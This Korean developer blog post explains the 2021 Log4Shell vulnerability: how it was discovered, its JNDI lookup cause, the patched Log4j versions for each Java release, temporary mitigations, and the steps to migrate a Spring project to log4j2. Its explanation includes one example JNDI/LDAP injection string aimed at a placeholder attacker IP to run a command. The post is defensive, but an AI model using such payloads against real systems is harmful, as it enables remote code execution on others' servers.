-
Log4j 보안 취약점(Log4Shell) 사태 원인 및 해결방법Back-End 2021. 12. 15. 21:46
※ [주의] 2021년 12월 31일 추가 업데이트 사항이 발생하였습니다. 참고 부탁드립니다!
Log4j 보안 취약점(Log4Shell) 발견 경위
1. 2021년 11월 24일 - 알리바바 클라우드 보안팀의 Chen Zhaojun에 의해 최초 보고됨
2. 2021년 12월 10일 - PaperMC가 자사 Discord 서버를 이용하여 긴급 공지를 전송함으로써 이슈가 크게 번지기 시작
3. 2021년 12월 10일 - 마인크래프트의 기술 책임자가 본인 트위터를 통해 "마인크래프트에 영향을 미치는 중요한 보안 문제가 발견되어 수정하였다."고 발표
Log4j 보안 취약점(Log4Shell) 왜 이슈인가??
자바(Java) 언어로 개발된 마인크래프트 버전에서 프로그래밍 코드로 이뤄진 특정 채팅 메시지를 입력하면 누구나 명령어로 다른사람 컴퓨터를 원격조종 할 수 있게 됩니다.
이를테면 다음과 같은 명령어를 쳤을때 해당 IP주소로 접속해 구글을 강제로 계속해서 킬 수 있게 됩니다.
jndi:Idap://{IP 주소}/Basic/Command/start www.google.com
Log4j 취약점(Log4Shell)이 왜 생겨났을까??
로그4j2 2.0-베타9 버전에서 부터 JNDI 조회 플러그인(JNDI Lookup plugin support)을 지원하기 시작했습니다.
조회 플러그인이 필요한 이유는 리소스 조회를 사용하여 로그를 저장할 대상 경로를 결정하기 위해서라고 합니다.(ex RoutingAppender를 사용하여 동일한 웹 애플리케이션 컨텍스트의 모든 로그를 각각의 컨텍스트에 저장)
https://issues.apache.org/jira/browse/LOG4J2-313
보안 취약점 해결방법
java version log4j version java 8 이상 Log4j 2.17.0으로 업데이트 java 7 Log4j 2.12.3으로 업데이트 java 6 Log4j 2.3.2으로 업데이트 ※ log4j-core JAR 파일 없이 log4j-api JAR 파일만 사용하는 경우 위 취약점의 영향을 받지 않음
※ log4j1.x 버전은 JMSAppender를 사용하지 않는 경우 취약점 영향 없음
임시 조치 방안(서버를 내릴 수 없는 경우)
- JndiLookup 클래스를 경로에서 제거 : zip -q -d log4j-core-*.jar (org/apache/logging/log4j/core/lookup/JndiLookup.class)
- PatternLayout에서 ${ctsx:loginId} 또는 $${ctx:loginId}를 (%X, %mdc, or %MDC)로 변경
- ${ctx:loginId} 또는 $${ctx:loginId}를 제거KISA : https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=36389
Log4J 공식홈페이지 : https://logging.apache.org/log4j/2.x/
Spring Project - log4j2 Migration 방법
1. pom.xml log4j2 사용에 필요한 라이브러리로 교체
1) jdk 버전별 log4j-core & log4j-api 라이브러리 적용방법
log4j-version jdk-version properties 가능여부 2.3 이하 jdk1.6 X 2.4 ~ 2.8.2 jdk1.7 O 2.13.0 이상 jdk1.8 O https://logging.apache.org/log4j/2.x/changelog.html
주의) apache document에서는 2.12.1 까지 jdk1.7을 사용할 수 있다고 명시되어있으나 빌드시 오류발생(target->jdk1.9)
2) jdk 버전별 log4j-slf4j-impl 라이브러리 적용방법
jdk1.7이하 사용시 log4j-slf4j-impl jdk1.8이상 사용시 log4j-slf4j18_impl 3) slf4j 1.7.30
log4j2를 사용하려면 slf4j는 1.7x 이상 버전을 사용해야한다.
4) log4j-web
xml또는 properties 파일에서 "$web:rootDir" 등의 웹 URL 경로(파일설치경로)를 인식하기 위해 사용
5) 패키지 구조 예제 : src/main/resources/log4j2.properties
주의) WEB-INF에 넣으면 console에 출력 안됨
2. web.xml servlet 버전 업그레이드(2.5 -> 3.0)
3. Log4j2.xml 파일 수정
Log4j2 Refactoring
메이븐 경향화 참고자료 https://developyo.tistory.com/33
Log4j2 Migration 참고자료
Description URL log4j Configuration https://logging.apache.org/log4j/2.x/manual/configuration.html log4j-2.8.2 API docs http://logging.apache.org/log4j/log4j-2.8.2/log4j-core/apidocs/ 날짜 시간 vs 파일 크기에 따른 롤링 https://penthegom.tistory.com/14 appender 여러개 사용하는 방법(properties) https://stackoverflow.com/questions/39650949/how-to-append-multiple-appender-references-in-log4j2 appender 여러개 사용하는 방법(xml) https://howtodoinjava.com/log4j2/multiple-appenders/ appender 이름 변경 방법(ex rolling->A1) https://stackoverflow.com/questions/53303000/log4j2-issue-when-use-multiple-custom-rolling-file-appender log4j2 servlet 2.5 vs 3.0 https://logging.apache.org/log4j/2.x/manual/webapp.html 'Back-End' 카테고리의 다른 글
Java 및 Eclipse gitignore 적용방법 (0) 2022.10.03 이클립스 - 톰캣 원격 디버깅 방법 (윈도우, 리눅스) (0) 2021.12.24 Java 설치하기 (0) 2021.09.16 Eclipse 설치하기 (0) 2021.09.07 Groovy 파일을 디버깅 할 수 있을까?? (0) 2020.10.13